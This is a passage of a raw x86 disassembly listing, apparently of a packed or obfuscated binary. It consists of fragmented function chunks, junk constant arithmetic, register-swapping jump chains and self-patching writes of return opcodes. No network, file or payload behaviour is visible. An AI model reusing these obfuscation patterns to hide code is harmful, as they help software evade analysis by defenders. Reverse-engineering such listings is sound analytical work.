; FUNCTION CHUNK AT 00747642 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007480C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EB33 SIZE 00000010 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_7480C6
sub_74763A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74763A


loc_747642:				; CODE XREF: sub_74763A:loc_74EB33j
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	offset loc_746A92
		jmp	nullsub_293
; END OF FUNCTION CHUNK	FOR sub_74763A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7459BC


loc_747656:				; CODE XREF: sub_7459BC:loc_74DB88j
		jnz	loc_74F4AE
; END OF FUNCTION CHUNK	FOR sub_7459BC
; START	OF FUNCTION CHUNK FOR sub_749229


loc_74765C:				; CODE XREF: sub_749229+E665j
		jmp	nullsub_255
; END OF FUNCTION CHUNK	FOR sub_749229
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75547D


loc_747661:				; CODE XREF: sub_75547D+1Bj
		jmp	loc_7501E5
; END OF FUNCTION CHUNK	FOR sub_75547D
; ---------------------------------------------------------------------------
		xor	edi, 745B40Ah
		jb	loc_74D64C
		mov	edx, 6B5F494Dh


loc_747677:				; CODE XREF: _0z4jwtox:0074A367j
		jmp	loc_74E7F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_74767C:				; CODE XREF: sub_749B76+Cj
					; _0z4jwtox:00749B8Dj ...
		jnz	loc_749808
		mov	eax, [ebp-4]
		call	sub_745911
		test	al, al
		jnz	loc_7488E0
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_74A596
		jmp	loc_745430
; END OF FUNCTION CHUNK	FOR sub_749B76

; =============== S U B	R O U T	I N E =======================================



sub_7476A3	proc near		; DATA XREF: sub_75275A-2A4o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074FA4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007501CF SIZE 0000000E BYTES

		push	eax
		push	674A4E20h
		pop	eax
		add	eax, 84835D8Bh
		or	eax, 0B7F81F46h
		jmp	loc_7501CF
sub_7476A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_7476BB	proc near		; CODE XREF: sub_7468F2+Cp
					; _0z4jwtox:0074CA18j

; FUNCTION CHUNK AT 0074821C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D6AD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00750A3F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00756A35 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		mov	[ebp-4], eax
		jmp	loc_74821C
sub_7476BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C1D8


loc_7476CF:				; CODE XREF: sub_74C1D8:loc_746118j
		xchg	ebp, [esp+0]
		mov	esi, ebp
		pop	ebp
		add	esi, 0D3E83AC9h
		jmp	loc_74EC6A
; END OF FUNCTION CHUNK	FOR sub_74C1D8
; ---------------------------------------------------------------------------
		mov	ds:off_41F178, eax
		lea	eax, sub_747290
		mov	byte ptr [eax],	0C3h
		jmp	sub_747290

; =============== S U B	R O U T	I N E =======================================



sub_7476F4	proc near		; CODE XREF: sub_417565+215p
					; sub_41E5C3+2Ep ...
		push	offset loc_747A5C
		jmp	nullsub_31
sub_7476F4	endp

; ---------------------------------------------------------------------------
		push	38EA39A6h
		jmp	sub_750560
; ---------------------------------------------------------------------------


loc_747708:				; DATA XREF: _0z4jwtox:00754A49o
		add	esi, 0A9ACA55Fh
		mov	[esi], eax
		xchg	edi, [esp]
		mov	esi, edi
		pop	edi
		jmp	loc_74C252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74771B:				; CODE XREF: sub_74FE55-453Fj
		jnz	loc_75600D
		jmp	loc_74A5DE
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749BBA


loc_747726:				; CODE XREF: sub_749BBA:loc_74BD84j
		mov	ecx, 331F32E6h
		add	esi, 7717EFE5h
		jmp	loc_7468BC
; END OF FUNCTION CHUNK	FOR sub_749BBA

; =============== S U B	R O U T	I N E =======================================



sub_747736	proc near		; CODE XREF: sub_74C2F6j
					; DATA XREF: sub_74BF3A:loc_74C2ECo

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 007450DC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00745A1F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00745B74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007461B9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074690D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00746F6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007477B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074782D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00747907 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747B8F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748206 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748320 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748EC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007493FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007494F7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00749B60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749EAA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074A6BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B731 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074B740 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074BA67 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0074BADF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074C3D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074D0BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D4A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074DC2D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074DD9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EDEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F477 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075036E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00750AEE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00750BA5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00750BC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751398 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00752203 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007525E2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00752A35 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00752D8B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753AEA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00753D4D SIZE 00000004 BYTES
; FUNCTION CHUNK AT 007548FB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0075610D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00756507 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 007567F7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00756D8E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00757800 SIZE 0000001A BYTES

		cmp	dword ptr [eax-4], 4
		jnz	loc_74782D
		push	offset sub_750A01
		jmp	nullsub_53
sub_747736	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_74774A:				; CODE XREF: sub_749980+B683j
		mov	ecx, ebp
		adc	edi, 528998ECh
		mov	eax, [ecx]
		js	loc_756E73


loc_74775A:				; CODE XREF: sub_749980:loc_7460CAj
		inc	eax
		jmp	loc_755069
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------


loc_747760:				; CODE XREF: _0z4jwtox:007515C8j
		xor	ebp, edi
		mov	ebp, ecx
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_747764:				; CODE XREF: sub_7463AE:loc_7515BAj
		add	edi, 30301FDCh
		mov	[edi], eax
		pop	edi
		lea	eax, sub_7535F0
		jmp	loc_747F37
; END OF FUNCTION CHUNK	FOR sub_7463AE

; =============== S U B	R O U T	I N E =======================================



sub_747778	proc near		; CODE XREF: _0z4jwtox:00748AD7j
					; sub_756741+3p

; FUNCTION CHUNK AT 0074665B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074E61B SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	esp, 0FFFFFFF4h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		jmp	loc_74E61B
sub_747778	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_747790:				; CODE XREF: sub_749306:loc_7507D6j
		add	edi, 7841DF55h
		xor	edi, 1972BEBDh
		sub	edi, 7D3D241Dh
		and	edi, 0A1FDF77Bh
		add	edi, 5F2C21F9h
		xchg	edi, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_749306
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7477B1:				; CODE XREF: sub_747736:loc_752D8Bj
		jmp	sub_754E36
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_7477B6:				; CODE XREF: sub_7490F6-2820j
		or	ecx, 56757A4h
		add	ecx, 427C97CCh
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_7484ED
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
		mov	ds:off_41F040, eax
		lea	eax, loc_74ED3A
		mov	byte ptr [eax],	0C3h
		jmp	loc_74ED3A
; ---------------------------------------------------------------------------
		call	nullsub_17
		jmp	ds:dword_41F044
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_7477E9:				; CODE XREF: sub_74946E+92ABj
		jge	loc_7524D1


loc_7477EF:				; CODE XREF: sub_747AEC+F337j
		jmp	loc_755AF7
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
		ror	esi, 0Eh
		jmp	loc_747413
; ---------------------------------------------------------------------------


loc_7477FC:				; DATA XREF: sub_750C4E-8B4Eo
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_7532C7

; =============== S U B	R O U T	I N E =======================================



sub_74780A	proc near		; CODE XREF: _0z4jwtox:00746BABj
					; sub_748BBE-690p
		xchg	edx, [esp+0]
		pop	edx


loc_74780E:				; CODE XREF: sub_74C670:loc_755BF9j
		add	eax, ebp
		add	eax, 0D2611ADBh
		push	offset loc_74BCBA
		jmp	nullsub_32
sub_74780A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_747820	proc near		; CODE XREF: _0z4jwtox:0074BA58j
					; sub_749608+2FD3p

; FUNCTION CHUNK AT 007458A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007505BB SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		or	dword ptr [eax-8], 8
		jmp	loc_7505BB
sub_747820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74782D:				; CODE XREF: sub_747736+4j
					; sub_75379A-74B7j
		jb	loc_74BA83
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_746F6A
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		jmp	ds:off_41F114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7513E4


loc_747842:				; CODE XREF: sub_7513E4+5j
		jmp	loc_7546D1
; END OF FUNCTION CHUNK	FOR sub_7513E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7460F1


loc_747847:				; CODE XREF: sub_750D29:loc_746A58j
					; sub_7460F1+19C8j ...
		pop	edx
		jnz	loc_747ABE
		mov	eax, [esp-4+arg_0]
		jmp	sub_74D7D4
; END OF FUNCTION CHUNK	FOR sub_7460F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_747856:				; CODE XREF: sub_74A96E:loc_75016Cj
		jz	loc_74B031
		jnb	loc_754C77


loc_747862:				; CODE XREF: sub_74F73B:loc_75388Ej
		mov	ebx, [edi]
		pop	edi
		not	edx
		cdq
		jmp	loc_74B031
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74786D:				; CODE XREF: sub_746640+3407j
		shr	ecx, 1Ch
		push	0A60667AEh
		test	ebp, esi
		jmp	loc_74FCC8
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------


loc_74787C:				; CODE XREF: _0z4jwtox:0074A617j
		sub	ebx, 6BE2573Eh

; =============== S U B	R O U T	I N E =======================================



sub_747882	proc near		; CODE XREF: sub_74FA7E-77Bp
		xchg	edi, [esp+0]
		pop	edi
		pop	ebp
		retn
sub_747882	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_747888:				; CODE XREF: _0z4jwtox:00751422j
		jmp	loc_74D9A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BB8


loc_74788D:				; CODE XREF: sub_748BB8+1j
		jmp	loc_7460D5
; END OF FUNCTION CHUNK	FOR sub_748BB8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_747892	proc near		; CODE XREF: _0z4jwtox:00746804p
					; sub_749980+1C87p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00752E9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007578D4 SIZE 00000020 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_752E9F
sub_747892	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_74789B:				; CODE XREF: sub_7544F1:loc_74D5BEj
		sub	eax, 44A158B9h
		rol	eax, 19h
		xor	eax, 39C4122Fh
		call	sub_746E93
		rol	eax, 17h
		add	eax, 0D5820E56h
		jmp	loc_753BEA
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		push	5365831Dh


loc_7478C8:				; CODE XREF: _0z4jwtox:00755BEEj
		xchg	ebp, [esp]
		mov	ecx, ebp
		pop	ebp
		jmp	loc_747C50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A67


loc_7478D3:				; CODE XREF: sub_747A67:loc_74FCA6j
		pop	eax
		sub	eax, 6A369865h
		xor	eax, 7CCC8ED5h
		call	sub_746E93
		push	esi
		jmp	loc_74B98F
; END OF FUNCTION CHUNK	FOR sub_747A67
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7478EC:				; CODE XREF: _0z4jwtox:0075002Ej
		jmp	loc_7562AA
; ---------------------------------------------------------------------------


loc_7478F1:				; DATA XREF: _0z4jwtox:0074BAB5o
		push	0F9DE301Ch
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		xor	ecx, 774BFEDh
		jmp	loc_74A2F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_747907:				; CODE XREF: sub_747736-1575j
		test	edx, 57601104h
		jmp	loc_7450DC
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_747912:				; CODE XREF: sub_74E762+638Dj
		add	ecx, 32F11067h
		mov	edx, ebp
		sbb	ecx, 4CDA0B5Dh
		jmp	loc_7452FF
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------


loc_747925:				; DATA XREF: sub_749FEE-25F0o
		mov	eax, [esp]
		push	edx
		call	sub_753D0E
		mov	eax, 7801B6BBh
		call	sub_746E93
		jmp	loc_7515D8
; ---------------------------------------------------------------------------
		add	edx, 0D3EFC81Dh
		jmp	loc_753794
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_747948:				; CODE XREF: sub_747C22+C86j
		add	eax, ebp
		add	eax, 8867B2F7h
		mov	eax, [eax]
		mov	ecx, [eax+4]
		mov	eax, [ebp-24h]
		jmp	loc_756A60
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74795D:				; CODE XREF: sub_7501AF:loc_74F3B7j
		jz	loc_755EEB
		jmp	loc_74FB16
; END OF FUNCTION CHUNK	FOR sub_7501AF

; =============== S U B	R O U T	I N E =======================================



sub_747968	proc near		; CODE XREF: _0z4jwtox:0074F1C7j
					; sub_74AAC1+6686p

; FUNCTION CHUNK AT 0074736F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C18F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007555CF SIZE 00000016 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	ebx
		jmp	loc_74736F
sub_747968	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_747972:				; CODE XREF: sub_74AAC1j
		push	4A4CEE2Fh
		jmp	loc_745E51
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CA1D


loc_74797C:				; CODE XREF: sub_74CA1D+15j
		sub	eax, 0C2582F45h
		test	eax, 20h
		jmp	loc_74A494
; END OF FUNCTION CHUNK	FOR sub_74CA1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_74798D:				; CODE XREF: sub_755C10+3j
		push	ecx
		push	edx
		push	0C4F70006h
		pop	edx
		and	edx, 0AE95D691h
		test	edx, 10000h
		jmp	loc_7566BD
; END OF FUNCTION CHUNK	FOR sub_755C10
; ---------------------------------------------------------------------------
		jle	loc_754C5C
		jmp	loc_7539A8
; ---------------------------------------------------------------------------
		mov	[ebx], edi
		jmp	loc_750FBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_7479B8:				; CODE XREF: sub_74F78B-73A7j
		mov	edi, edx
		xchg	edi, [esp+0]
		call	sub_74FACE
		push	1133B272h
		pop	eax
		add	eax, 1A32FF6Eh
		jmp	loc_74E34D
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_7479D3:				; CODE XREF: sub_74FE55-76Dj
		and	eax, 7417BD64h
		rol	eax, 1Fh
		add	eax, 8AF1D37Ch
		and	eax, 87586481h
		add	eax, 3C993BA8h
		call	sub_746E93
		jmp	loc_74EF51
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749FEE


loc_7479F8:				; CODE XREF: sub_749FEE+1j
		jno	loc_7515EC
		push	offset loc_747925
		jmp	nullsub_41
; END OF FUNCTION CHUNK	FOR sub_749FEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_747A08:				; CODE XREF: sub_747C22:loc_749DECj
		jz	loc_74AB2F
		jmp	loc_7552F0
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_747A13:				; CODE XREF: sub_74A3AB:loc_749A0Dj
		rol	edx, 7
		test	edx, 1
		jmp	loc_74BFC7
; END OF FUNCTION CHUNK	FOR sub_74A3AB
; ---------------------------------------------------------------------------
		mov	edi, ebx
		shl	edi, 7
		jmp	sub_74E685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


loc_747A2B:				; CODE XREF: sub_749608:loc_74EBC1j
		jz	loc_74F2FD
		jmp	loc_745128
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_747A36:				; CODE XREF: sub_75275A-7AB4j
		push	eax
		call	sub_74C2C9
		mov	[ebp-4], eax
		call	sub_7510EA
		cdq
		jmp	sub_750DD4
; END OF FUNCTION CHUNK	FOR sub_75275A

; =============== S U B	R O U T	I N E =======================================



sub_747A4A	proc near		; CODE XREF: sub_749576:loc_74841Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074A2BF SIZE 0000001A BYTES

		push	ebx
		push	0D1738955h
		pop	ebx
		add	ebx, 0A1107C2Eh
		jmp	loc_74A2BF
sub_747A4A	endp

; ---------------------------------------------------------------------------


loc_747A5C:				; DATA XREF: sub_7476F4o
		call	sub_747A67
		jmp	ds:off_41F17C

; =============== S U B	R O U T	I N E =======================================



sub_747A67	proc near		; CODE XREF: _0z4jwtox:loc_747A5Cp
					; sub_747F9D:loc_747FAAj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007478D3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0074A949 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074B98F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074BD4D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074C9B4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074FC9B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00753140 SIZE 0000000A BYTES

		jnz	loc_74A949
		xchg	esi, [esp+0]
		mov	edx, esi
		jmp	loc_74C9B4
sub_747A67	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[ebp+0], ebx
		test	ebp, ebx
		jmp	loc_74F5B2
; ---------------------------------------------------------------------------
		xor	edi, ecx
		js	loc_7480C6
		jmp	sub_75118C
; ---------------------------------------------------------------------------


loc_747A8E:				; CODE XREF: _0z4jwtox:007554DFj
		add	ebx, 18AFEE73h

; =============== S U B	R O U T	I N E =======================================



sub_747A94	proc near		; CODE XREF: sub_74F266+7p

; FUNCTION CHUNK AT 00745886 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074697A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007481DD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007488BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748A16 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074D2CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EE58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EF5D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074FD36 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 007500A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007528F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753558 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007543D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007553DD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00756DEC SIZE 0000001E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	esi
		push	ecx
		jmp	loc_7553DD
sub_747A94	endp

; ---------------------------------------------------------------------------
		add	ebx, 97400D3Ah
		jmp	sub_74ED72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7460F1


loc_747AAA:				; CODE XREF: sub_7460F1:loc_74D41Fj
					; _0z4jwtox:00755BE8j
		mov	ds:off_41F114, eax
		lea	eax, loc_747847
		mov	byte ptr [eax],	0C3h
		jmp	loc_747847
; ---------------------------------------------------------------------------


loc_747ABE:				; CODE XREF: sub_7460F1+1757j
					; sub_74F73B:loc_749F3Ej
		mov	eax, [esp]
		push	edi
		jmp	loc_74BB3E
; END OF FUNCTION CHUNK	FOR sub_7460F1
; ---------------------------------------------------------------------------

locret_747AC7:				; CODE XREF: _0z4jwtox:loc_749CA4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_747AC8:				; CODE XREF: _0z4jwtox:loc_745F76j
					; sub_750C2D+7D6j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_750C2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753F8B


loc_747ACD:				; CODE XREF: sub_753F8B:loc_748A73j
		cmp	eax, 9EED003Fh
		jmp	loc_75719C
; END OF FUNCTION CHUNK	FOR sub_753F8B
; ---------------------------------------------------------------------------
		mov	ds:off_41F0A4, eax
		lea	eax, loc_754618
		mov	byte ptr [eax],	0C3h
		jmp	loc_74E846

; =============== S U B	R O U T	I N E =======================================



sub_747AEC	proc near		; CODE XREF: sub_4073B6+13Ap
					; sub_4073B6+4A1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007458F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00745B82 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074618E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00746838 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007472BE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074736A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747E74 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 007483C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007484D8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007498C0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074A622 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074A84F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B0CE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074B20D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074C601 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0074CAEA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074D00D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D1AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074D385 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0074D5B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DA68 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074DB56 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074DB8D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074DEB6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074E891 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F600 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074F821 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00750837 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075122E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 007515FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00751624 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751E78 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00752798 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754E32 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00755624 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755F33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075614B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00756766 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007569A3 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00756E0A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00757488 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075767D SIZE 00000005 BYTES

		js	loc_7472BE
		push	0AA8E1369h
		jmp	loc_74C601
sub_747AEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_747AFC:				; CODE XREF: sub_7473E6+675Bj
		not	ebp


loc_747AFE:				; CODE XREF: sub_7473E6:loc_74B48Cj
		push	offset loc_74A312
		jmp	loc_756B06
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------


loc_747B08:				; CODE XREF: _0z4jwtox:loc_74E739j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_4
; ---------------------------------------------------------------------------
		push	ebx
		push	7591DDC0h
		pop	ebx
		add	ebx, 2B797C82h
		or	ebx, 30DBD23Fh
		add	ebx, 4E98AF50h
		jmp	loc_752138
; ---------------------------------------------------------------------------


loc_747B2E:				; CODE XREF: _0z4jwtox:00756C16j
		ror	edi, 16h

; =============== S U B	R O U T	I N E =======================================



sub_747B31	proc near		; CODE XREF: sub_753116:loc_7512DFp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007451E7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007486D2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074D7EE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074D98A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F4E7 SIZE 0000000B BYTES
